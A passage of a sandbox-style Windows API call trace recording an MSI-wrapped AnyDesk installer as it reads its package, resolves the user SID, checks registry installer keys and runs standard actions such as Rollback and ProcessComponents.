lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.378] ReadFile (in: hFile=0x348, lpBuffer=0x3c7d6c, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x3c816c, lpOverlapped=0x0 | out: lpBuffer=0x3c7d6c*, lpNumberOfBytesRead=0x3c816c*=0x2e4, lpOverlapped=0x0) returned 1 [0210.378] memcpy (in: _Dst=0x10ce018, _Src=0x3c7d6c, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.378] GetTickCount () returned 0x188633e [0210.378] SetFilePointer (in: hFile=0x348, lDistanceToMove=336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x150 [0210.378] ReadFile (in: hFile=0x348, lpBuffer=0x3c7d6c, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x3c816c, lpOverlapped=0x0 | out: lpBuffer=0x3c7d6c*, lpNumberOfBytesRead=0x3c816c*=0x194, lpOverlapped=0x0) returned 1 [0210.379] memcpy (in: _Dst=0x10ce018, _Src=0x3c7d6c, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.379] SetLastError (dwErrCode=0x0) [0210.379] memcpy (in: _Dst=0x10cdc62, _Src=0x10cdab8, _Size=0x2 | out: _Dst=0x10cdc62) returned 0x10cdc62 [0210.379] memcpy (in: _Dst=0x29f80cc, _Src=0x10cdc60, _Size=0x6 | out: _Dst=0x29f80cc) returned 0x29f80cc [0210.379] memcpy (in: _Dst=0x29f80d2, _Src=0x3d6bb2, _Size=0x18 | out: _Dst=0x29f80d2) returned 0x29f80d2 [0210.379] memcpy (in: _Dst=0x29f80ea, _Src=0x3d6bcc, _Size=0x2 | out: _Dst=0x29f80ea) returned 0x29f80ea [0210.379] SetLastError (dwErrCode=0x0) [0210.379] memcpy (in: _Dst=0x10cdc62, _Src=0x10cdab8, _Size=0x2 | out: _Dst=0x10cdc62) returned 0x10cdc62 [0210.379] memcpy (in: _Dst=0x29f80ea, _Src=0x10cdc60, _Size=0x6 | out: _Dst=0x29f80ea) returned 0x29f80ea [0210.379] SetLastError (dwErrCode=0x0) [0210.379] memcpy (in: _Dst=0x10cdc62, _Src=0x10cdab8, _Size=0x2 | out: _Dst=0x10cdc62) returned 0x10cdc62 [0210.379] memcpy (in: _Dst=0x29f84c4, _Src=0x10cdc60, _Size=0x6 | out: _Dst=0x29f84c4) returned 0x29f84c4 [0210.379] memcpy (in: _Dst=0x29f80f2, _Src=0x29f84c0, _Size=0xa | out: _Dst=0x29f80f2) returned 0x29f80f2 [0210.379] GetCurrentThreadId () returned 0xf50 [0210.379] GetCurrentThreadId () returned 0xf50 [0210.379] SetEvent (hEvent=0x170) returned 1 [0210.380] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0210.380] SetFilePointer (in: hFile=0x348, lDistanceToMove=356, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x164 [0210.380] ReadFile (in: hFile=0x348, lpBuffer=0x3c7d6c, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x3c816c, lpOverlapped=0x0 | out: lpBuffer=0x3c7d6c*, lpNumberOfBytesRead=0x3c816c*=0x180, lpOverlapped=0x0) returned 1 [0210.380] memcpy (in: _Dst=0x10ce018, _Src=0x3c7d6c, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.381] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce070, cbMultiByte=70, lpWideCharStr=0x37f330, cchWideChar=70 | out: lpWideCharStr="Anydesk - UNREGISTERED - Wrapped using MSI Wrapper from www.exemsi.com") returned 70 [0210.381] SetLastError (dwErrCode=0x0) [0210.381] memcpy (in: _Dst=0x10cdc62, _Src=0x10cdab8, _Size=0x2 | out: _Dst=0x10cdc62) returned 0x10cdc62 [0210.381] memcpy (in: _Dst=0x29f80cc, _Src=0x10cdc60, _Size=0x6 | out: _Dst=0x29f80cc) returned 0x29f80cc [0210.381] memcpy (in: _Dst=0x29f80d2, _Src=0x3d6bb2, _Size=0x18 | out: _Dst=0x29f80d2) returned 0x29f80d2 [0210.381] memcpy (in: _Dst=0x29f80ea, _Src=0x3d6bcc, _Size=0x2 | out: _Dst=0x29f80ea) returned 0x29f80ea [0210.381] SetLastError (dwErrCode=0x0) [0210.381] memcpy (in: _Dst=0x10cdc62, _Src=0x10cdab8, _Size=0x2 | out: _Dst=0x10cdc62) returned 0x10cdc62 [0210.381] memcpy (in: _Dst=0x29f80ea, _Src=0x10cdc60, _Size=0x6 | out: _Dst=0x29f80ea) returned 0x29f80ea [0210.381] SetLastError (dwErrCode=0x0) [0210.381] memcpy (in: _Dst=0x10cdc62, _Src=0x10cdab8, _Size=0x2 | out: _Dst=0x10cdc62) returned 0x10cdc62 [0210.381] memcpy (in: _Dst=0x29f84c4, _Src=0x10cdc60, _Size=0x6 | out: _Dst=0x29f84c4) returned 0x29f84c4 [0210.381] memcpy (in: _Dst=0x29f80f2, _Src=0x29f84c0, _Size=0xa | out: _Dst=0x29f80f2) returned 0x29f80f2 [0210.381] GetCurrentThreadId () returned 0xf50 [0210.381] GetCurrentThreadId () returned 0xf50 [0210.381] SetEvent (hEvent=0x170) returned 1 [0210.382] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0210.382] SetFilePointer (in: hFile=0x348, lDistanceToMove=436, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1b4 [0210.382] ReadFile (in: hFile=0x348, lpBuffer=0x3c7d6c, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x3c816c, lpOverlapped=0x0 | out: lpBuffer=0x3c7d6c*, lpNumberOfBytesRead=0x3c816c*=0x130, lpOverlapped=0x0) returned 1 [0210.383] memcpy (in: _Dst=0x10ce018, _Src=0x3c7d6c, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.383] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce070, cbMultiByte=8, lpWideCharStr=0x3c25b0, cchWideChar=8 | out: lpWideCharStr="Rollback") returned 8 [0210.383] memcpy (in: _Dst=0x10ce018, _Src=0x3c7d7a, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.383] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce070, cbMultiByte=20, lpWideCharStr=0x372480, cchWideChar=20 | out: lpWideCharStr="Rolling back action:") returned 20 [0210.383] memcpy (in: _Dst=0x10ce018, _Src=0x3c7d90, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.383] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce070, cbMultiByte=3, lpWideCharStr=0x3c2430, cchWideChar=3 | out: lpWideCharStr="[1]") returned 3 [0210.383] memcpy (in: _Dst=0x10ce018, _Src=0x3c7d95, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.383] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce070, cbMultiByte=15, lpWideCharStr=0x2af2f60, cchWideChar=15 | out: lpWideCharStr="RollbackCleanup") returned 15 [0210.383] memcpy (in: _Dst=0x10ce018, _Src=0x3c7da6, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.383] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce070, cbMultiByte=21, lpWideCharStr=0x372750, cchWideChar=21 | out: lpWideCharStr="Removing backup files") returned 21 [0210.383] memcpy (in: _Dst=0x10ce018, _Src=0x3c7dbd, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.383] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce070, cbMultiByte=9, lpWideCharStr=0x2af2fe0, cchWideChar=9 | out: lpWideCharStr="File: [1]") returned 9 [0210.384] lstrlenW (lpString="{{") returned 2 [0210.384] lstrlenW (lpString=": }}") returned 4 [0210.384] SetLastError (dwErrCode=0xd) [0210.384] lstrlenW (lpString="Time") returned 4 [0210.384] GetLocalTime (in: lpSystemTime=0x10cda40 | out: lpSystemTime=0x10cda40*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x30, wSecond=0x21, wMilliseconds=0x17b)) [0210.384] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10cda40, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:48:45") returned 9 [0210.384] GetLocalTime (in: lpSystemTime=0x10cda40 | out: lpSystemTime=0x10cda40*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x30, wSecond=0x21, wMilliseconds=0x17b)) [0210.384] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10cda40, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:48:45") returned 9 [0210.384] GetLocalTime (in: lpSystemTime=0x10cda70 | out: lpSystemTime=0x10cda70*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x30, wSecond=0x21, wMilliseconds=0x17b)) [0210.384] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10cda70, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:48:45") returned 9 [0210.384] memcpy (in: _Dst=0x10cdcd0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10cdcd0) returned 0x10cdcd0 [0210.384] memcpy (in: _Dst=0x29f80be, _Src=0x10cdcd0, _Size=0x10 | out: _Dst=0x29f80be) returned 0x29f80be [0210.384] memcpy (in: _Dst=0x29f80ce, _Src=0x2104b8a, _Size=0x4 | out: _Dst=0x29f80ce) returned 0x29f80ce [0210.385] memcpy (in: _Dst=0x29f80d2, _Src=0x2104b90, _Size=0x2 | out: _Dst=0x29f80d2) returned 0x29f80d2 [0210.385] SetLastError (dwErrCode=0x0) [0210.385] memcpy (in: _Dst=0x10cdcd2, _Src=0x10cdb28, _Size=0x2 | out: _Dst=0x10cdcd2) returned 0x10cdcd2 [0210.385] memcpy (in: _Dst=0x29f80d2, _Src=0x10cdcd0, _Size=0x6 | out: _Dst=0x29f80d2) returned 0x29f80d2 [0210.385] memcpy (in: _Dst=0x29f80d8, _Src=0x2104b94, _Size=0x4 | out: _Dst=0x29f80d8) returned 0x29f80d8 [0210.385] memcpy (in: _Dst=0x29f80dc, _Src=0x2104b9a, _Size=0x2 | out: _Dst=0x29f80dc) returned 0x29f80dc [0210.385] SetLastError (dwErrCode=0x0) [0210.385] memcpy (in: _Dst=0x10cdcd2, _Src=0x10cdb28, _Size=0x2 | out: _Dst=0x10cdcd2) returned 0x10cdcd2 [0210.385] memcpy (in: _Dst=0x29f80dc, _Src=0x10cdcd0, _Size=0x6 | out: _Dst=0x29f80dc) returned 0x29f80dc [0210.385] GetCurrentThreadId () returned 0xf50 [0210.385] GetCurrentThreadId () returned 0xf50 [0210.385] SetEvent (hEvent=0x170) returned 1 [0210.386] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0210.386] GetCurrentThreadId () returned 0xf50 [0210.386] GetCurrentThreadId () returned 0xf50 [0210.386] SetEvent (hEvent=0x170) returned 1 [0210.387] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0210.387] SetFilePointer (in: hFile=0x348, lDistanceToMove=695, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2b7 [0210.387] ReadFile (in: hFile=0x348, lpBuffer=0x3c7d6c, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x3c816c, lpOverlapped=0x0 | out: lpBuffer=0x3c7d6c*, lpNumberOfBytesRead=0x3c816c*=0x2d, lpOverlapped=0x0) returned 1 [0210.387] memcpy (in: _Dst=0x10ce018, _Src=0x3c7d6c, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.387] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce070, cbMultiByte=21, lpWideCharStr=0x372480, cchWideChar=21 | out: lpWideCharStr="bz.LateInstallFinish2") returned 21 [0210.388] SetLastError (dwErrCode=0x0) [0210.388] memcpy (in: _Dst=0x10cdcd2, _Src=0x10cdb28, _Size=0x2 | out: _Dst=0x10cdcd2) returned 0x10cdcd2 [0210.388] memcpy (in: _Dst=0x29f80cc, _Src=0x10cdcd0, _Size=0x6 | out: _Dst=0x29f80cc) returned 0x29f80cc [0210.388] GetCurrentThreadId () returned 0xf50 [0210.388] GetCurrentThreadId () returned 0xf50 [0210.388] SetEvent (hEvent=0x170) returned 1 [0210.456] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0210.456] GetCurrentThreadId () returned 0xf50 [0210.456] GetCurrentThreadId () returned 0xf50 [0210.456] SetEvent (hEvent=0x170) returned 1 [0210.458] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0210.458] GetSystemWindowsDirectoryW (in: lpBuffer=0x10cdf30, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0210.458] lstrlenW (lpString="C:\\Windows") returned 10 [0210.458] lstrlenW (lpString="\\") returned 1 [0210.458] lstrlenW (lpString="Installer") returned 9 [0210.458] lstrlenW (lpString="\\") returned 1 [0210.458] SetFilePointer (in: hFile=0x348, lDistanceToMove=56, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x38 [0210.458] ReadFile (in: hFile=0x348, lpBuffer=0x3c7d6c, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x3c816c, lpOverlapped=0x0 | out: lpBuffer=0x3c7d6c*, lpNumberOfBytesRead=0x3c816c*=0x2ac, lpOverlapped=0x0) returned 1 [0210.458] memcpy (in: _Dst=0x10ce018, _Src=0x3c7d6c, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.459] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce070, cbMultiByte=38, lpWideCharStr=0x3c5c70, cchWideChar=38 | out: lpWideCharStr="{AC4583F8-6694-473E-BB77-32CDFC9BA940}") returned 38 [0210.459] memcpy (in: _Dst=0x10ce018, _Src=0x3c7d96, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.459] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce070, cbMultiByte=70, lpWideCharStr=0x37f3e0, cchWideChar=70 | out: lpWideCharStr="Anydesk - UNREGISTERED - Wrapped using MSI Wrapper from www.exemsi.com") returned 70 [0210.459] memcpy (in: _Dst=0x10ce018, _Src=0x3c7dde, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.459] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce070, cbMultiByte=68, lpWideCharStr=0x37f330, cchWideChar=68 | out: lpWideCharStr="fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi") returned 68 [0210.459] memcpy (in: _Dst=0x10ce018, _Src=0x3c7e24, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.459] memcpy (in: _Dst=0x10ce018, _Src=0x3c7e26, _Size=0x4 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.459] memcpy (in: _Dst=0x10ce018, _Src=0x3c7e2a, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.459] memcpy (in: _Dst=0x10ce018, _Src=0x3c7e2c, _Size=0x4 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.459] memcpy (in: _Dst=0x10ce018, _Src=0x3c7e30, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.459] memcpy (in: _Dst=0x10ce018, _Src=0x3c7e32, _Size=0x4 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.459] memcpy (in: _Dst=0x10ce018, _Src=0x3c7e36, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.459] memcpy (in: _Dst=0x10ce018, _Src=0x3c7e38, _Size=0x4 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.459] memcpy (in: _Dst=0x10ce018, _Src=0x3c7e3c, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.459] memcpy (in: _Dst=0x10ce018, _Src=0x3c7e3e, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.459] memcpy (in: _Dst=0x10ce018, _Src=0x3c7e40, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.459] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce070, cbMultiByte=38, lpWideCharStr=0x3c5c00, cchWideChar=38 | out: lpWideCharStr="{8CB27BF3-59BC-4419-BE15-E9E385453F27}") returned 38 [0210.459] memcpy (in: _Dst=0x10ce018, _Src=0x3c7e68, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.459] memcpy (in: _Dst=0x10ce018, _Src=0x3c7e6a, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.459] memcpy (in: _Dst=0x10ce018, _Src=0x3c7e6c, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.459] memcpy (in: _Dst=0x10ce018, _Src=0x3c7e6e, _Size=0x4 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.459] memcpy (in: _Dst=0x10ce018, _Src=0x3c7e72, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.459] memcpy (in: _Dst=0x10ce018, _Src=0x3c7e74, _Size=0x4 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.459] memcpy (in: _Dst=0x10ce018, _Src=0x3c7e78, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.460] memcpy (in: _Dst=0x10ce018, _Src=0x3c7e7a, _Size=0x4 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.460] memcpy (in: _Dst=0x10ce018, _Src=0x3c7e7e, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.460] memcpy (in: _Dst=0x10ce018, _Src=0x3c7e80, _Size=0x4 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.460] GetCurrentThreadId () returned 0xf50 [0210.460] GetCurrentThreadId () returned 0xf50 [0210.460] SetEvent (hEvent=0x170) returned 1 [0210.461] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0210.461] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cdd80, TokenInformationLength=0x58, ReturnLength=0x10cdd70 | out: TokenInformation=0x10cdd80, ReturnLength=0x10cdd70) returned 1 [0210.461] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cde60, pSourceSid=0x10cdd90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cde60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0210.461] ConvertSidToStringSidW (in: Sid=0x10cde60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cde40 | out: StringSid=0x10cde40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0210.461] LocalFree (hMem=0x3c5db0) returned 0x0 [0210.461] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 46 [0210.461] lstrlenW (lpString="Software\\Classes") returned 16 [0210.462] lstrlenW (lpString="Software\\Classes") returned 16 [0210.462] lstrlenW (lpString="\\Installer\\Products\\") returned 20 [0210.462] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\8F3854CA4966E374BB7723DCCFB99A04", ulOptions=0x0, samDesired=0x20119, phkResult=0x10ce080 | out: phkResult=0x10ce080*=0x0) returned 0x2 [0210.462] GetCurrentThread () returned 0xfffffffffffffffe [0210.462] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=1, TokenHandle=0x10ce110 | out: TokenHandle=0x10ce110*=0x2) returned 0 [0210.462] GetLastError () returned 0x3f0 [0210.462] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cde60, TokenInformationLength=0x58, ReturnLength=0x10cde50 | out: TokenInformation=0x10cde60, ReturnLength=0x10cde50) returned 1 [0210.462] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cdf40, pSourceSid=0x10cde70*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cdf40*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0210.462] ConvertSidToStringSidW (in: Sid=0x10cdf40*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cdf20 | out: StringSid=0x10cdf20*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0210.462] LocalFree (hMem=0x3c5b80) returned 0x0 [0210.462] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 46 [0210.462] lstrlenW (lpString="Software\\Classes") returned 16 [0210.463] lstrlenW (lpString="Software\\Classes") returned 16 [0210.463] GetSystemWindowsDirectoryW (in: lpBuffer=0x10cded0, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0210.463] lstrlenW (lpString="C:\\Windows") returned 10 [0210.463] lstrlenW (lpString="\\") returned 1 [0210.463] lstrlenW (lpString="Installer") returned 9 [0210.463] UrlIsW (pszUrl="C:\\Windows\\Installer", UrlIs=0x0) returned 0 [0210.463] lstrlenW (lpString="C:\\Windows\\Installer") returned 20 [0210.463] lstrlenW (lpString="\\") returned 1 [0210.463] lstrlenW (lpString="\\\\") returned 2 [0210.463] wcsstr (_Str="\\Windows\\Installer", _SubStr="\\\\") returned 0x0 [0210.463] lstrlenW (lpString="Windows") returned 7 [0210.463] lstrlenW (lpString="Windows") returned 7 [0210.463] lstrlenW (lpString="Installer") returned 9 [0210.463] lstrlenW (lpString="Installer") returned 9 [0210.463] lstrlenW (lpString="\\Windows\\Installer") returned 18 [0210.463] lstrlenW (lpString="\\Windows\\Installer") returned 18 [0210.463] lstrlenW (lpString="\\") returned 1 [0210.464] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0210.464] GetFileAttributesW (lpFileName="C:\\Windows\\Installer" (normalized: "c:\\windows\\installer")) returned 0x16 [0210.464] lstrlenW (lpString="\\") returned 1 [0210.464] lstrlenW (lpString="\\\\") returned 2 [0210.464] wcsstr (_Str="{AC4583F8-6694-473E-BB77-32CDFC9BA940}", _SubStr="\\\\") returned 0x0 [0210.464] lstrlenW (lpString="{AC4583F8-6694-473E-BB77-32CDFC9BA940}") returned 38 [0210.464] lstrlenW (lpString="{AC4583F8-6694-473E-BB77-32CDFC9BA940}") returned 38 [0210.464] lstrlenW (lpString="\\") returned 1 [0210.465] RegCreateKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x2124ad8, lpdwDisposition=0x0 | out: phkResult=0x2124ad8*=0x1f8, lpdwDisposition=0x0) returned 0x0 [0210.465] SetFilePointer (in: hFile=0x348, lDistanceToMove=670, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x29e [0210.465] ReadFile (in: hFile=0x348, lpBuffer=0x3c7d6c, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x3c816c, lpOverlapped=0x0 | out: lpBuffer=0x3c7d6c*, lpNumberOfBytesRead=0x3c816c*=0x46, lpOverlapped=0x0) returned 1 [0210.465] memcpy (in: _Dst=0x10ce018, _Src=0x3c7d6c, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.465] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce070, cbMultiByte=21, lpWideCharStr=0x371e40, cchWideChar=21 | out: lpWideCharStr="bz.LateInstallFinish1") returned 21 [0210.465] SetLastError (dwErrCode=0x0) [0210.465] memcpy (in: _Dst=0x10cdcd2, _Src=0x10cdb28, _Size=0x2 | out: _Dst=0x10cdcd2) returned 0x10cdcd2 [0210.465] memcpy (in: _Dst=0x29f80cc, _Src=0x10cdcd0, _Size=0x6 | out: _Dst=0x29f80cc) returned 0x29f80cc [0210.465] GetCurrentThreadId () returned 0xf50 [0210.465] GetCurrentThreadId () returned 0xf50 [0210.465] SetEvent (hEvent=0x170) returned 1 [0210.466] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0210.470] GetCurrentThreadId () returned 0xf50 [0210.470] GetCurrentThreadId () returned 0xf50 [0210.470] SetEvent (hEvent=0x170) returned 1 [0210.471] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0210.471] GetSystemWindowsDirectoryW (in: lpBuffer=0x10cdf30, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0210.471] lstrlenW (lpString="C:\\Windows") returned 10 [0210.471] lstrlenW (lpString="\\") returned 1 [0210.471] lstrlenW (lpString="Installer") returned 9 [0210.471] lstrlenW (lpString="\\") returned 1 [0210.472] SetFilePointer (in: hFile=0x348, lDistanceToMove=528, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x210 [0210.472] ReadFile (in: hFile=0x348, lpBuffer=0x3c7d6c, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x3c816c, lpOverlapped=0x0 | out: lpBuffer=0x3c7d6c*, lpNumberOfBytesRead=0x3c816c*=0xd4, lpOverlapped=0x0) returned 1 [0210.472] memcpy (in: _Dst=0x10ce018, _Src=0x3c7d6c, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.472] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce070, cbMultiByte=17, lpWideCharStr=0x371a80, cchWideChar=17 | out: lpWideCharStr="ProcessComponents") returned 17 [0210.472] memcpy (in: _Dst=0x10ce018, _Src=0x3c7d81, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0210.472] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10ce070, cbMultiByte=31, lpWideCharStr=0x380500, cchWideChar=31 | out: lpWideCharStr="Updating component registration") returned 31 [0210.472] SetLastError (dwErrCode=0x0) [0210.472] memcpy (in: _Dst=0x10cdcd2, _Src=0x10cdb28, _Size=0x2 | out: _Dst=0x10cdcd2) returned 0x10cdcd2 [0210.472] memcpy (in: _Dst=0x29f80cc, _Src=0x10cdcd0, _Size=0x6 | out: _Dst=0x29f80cc) returned 0x29f80cc [0210.472] GetCurrentThreadId () returned 0xf50 [0210.472] GetCurrentThreadId () returned 0xf50 [0210.472] SetEvent (hEvent=0x170) returned 1 [0210.473] MsgWaitForMultipleObjects (nCount=0x1, 